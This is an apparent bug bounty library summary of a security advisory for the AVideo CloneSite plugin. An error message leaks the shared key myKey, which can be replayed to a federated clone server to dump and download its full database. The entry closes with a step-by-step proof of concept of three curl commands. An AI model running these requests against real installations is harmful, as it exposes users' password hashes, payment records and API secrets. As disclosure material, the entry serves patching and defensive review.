# AVideo: Unauthenticated Disclosure of CloneSite `myKey` via Error Echo in `cloneClient.json.php` Enables Cross-Site DB Dump of the Configured Clone Server

AVideo's cloneClient.json.php echoes the static CloneSite myKey to unauthenticated callers, letting attackers impersonate the victim to its remote clone server and dump that server's full database.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: offset
- Disclosed: 2026-05-05
- CVE: CVE-2026-43873
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-qm9p-p5pw-jrx2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qm9p-p5pw-jrx2
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** PHP web endpoint plugin/CloneSite/cloneClient.json.php and cloneServer.json.php
**Root cause:** The unauthenticated rejection branch interpolates the expected shared secret $objClone->myKey into the response body before die(); under web SAPI $argv[1] is empty so the branch always triggers. myKey is a static md5(systemRootPath.salt) that never rotates.
**Steps:**
1. GET `https://victim.example.com/plugin/CloneSite/cloneClient.json.php` unauthenticated; body returns `<32-hex myKey> !== {"error":true,"msg":"You can't do this"}`
2. Extract the 32-hex prefix as the victim's myKey
3. GET `https://remote-server.example.com/plugin/CloneSite/cloneServer.json.php?url=https%3A%2F%2Fvictim.example.com%2F&key=<myKey>&useRsync=0`
4. Read `sqlFile` from the JSON response (e.g. `Clone_mysqlDump_65f3a2b14c7e8.sql`)
5. GET `https://remote-server.example.com/videos/clones/<sqlFile>` to download the full mysqldump
**How found:** Code reading of the error branch; verified on PHP 8.4.16 built-in server that script-scope $argv is unset under web SAPI (only $_SERVER['argv'] with register_argc_argv=On), so empty($argv[1]) is always true and the echo of myKey always executes. Then traced myKey's use at cloneClient.json.php:75 as the credential sent to cloneSiteURL and followed it into cloneServer.json.php's key check and mysqldump.
**Exploitation:** Attacker leaks the victim's static myKey via one unauthenticated GET, then presents url=<victim>&key=<myKey> to the victim's configured remote clone server. Clones::thisURLCanCloneMe only compares the key against the approved federation pair (status='a'), so the check passes; cloneServer.json.php then runs an unconditional mysqldump of all tables except CachesInDB into the web-accessible videos/clones/ directory and returns the filename, which the attacker fetches over HTTP.
**Escalation:** Cross-site chain: a key leak on site A yields a full database dump (users, password hashes, payment records, API secrets, plugin config) of federated site B, crossing the federation boundary.
**Insight:** PHP CLI-style scripts exposed over HTTP often read $argv, which is unset under web SAPI — any branch keyed on empty($argv[1]) fires for every web request. Grep cron/CLI helper scripts under web roots for $argv and error messages that interpolate secrets; also check whether a leaked per-install static secret is reused as an auth credential to a partner server.

## Proof of concept (copied exactly from the original report)

**Unauthenticated GET leaking myKey**

```
curl -s 'https://victim.example.com/plugin/CloneSite/cloneClient.json.php'

Response body:

3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c !== {"error":true,"msg":"You can't do this"}
```

**Replay leaked key to remote cloneServer dump**

```
curl -s 'https://remote-server.example.com/plugin/CloneSite/cloneServer.json.php?url=https%3A%2F%2Fvictim.example.com%2F&key=3f2a7c8b9d6e4f1a0b5c7d8e9f2a3b4c&useRsync=0'

Response (truncated):

{"error":false,"url":"https://victim.example.com/","key":"...","videosDir":"...","sqlFile":"Clone_mysqlDump_65f3a2b14c7e8.sql","videoFiles":[...],"photoFiles":[...]}
```

**Download full DB dump from public videos/clones**

```
curl -O 'https://remote-server.example.com/videos/clones/Clone_mysqlDump_65f3a2b14c7e8.sql'
```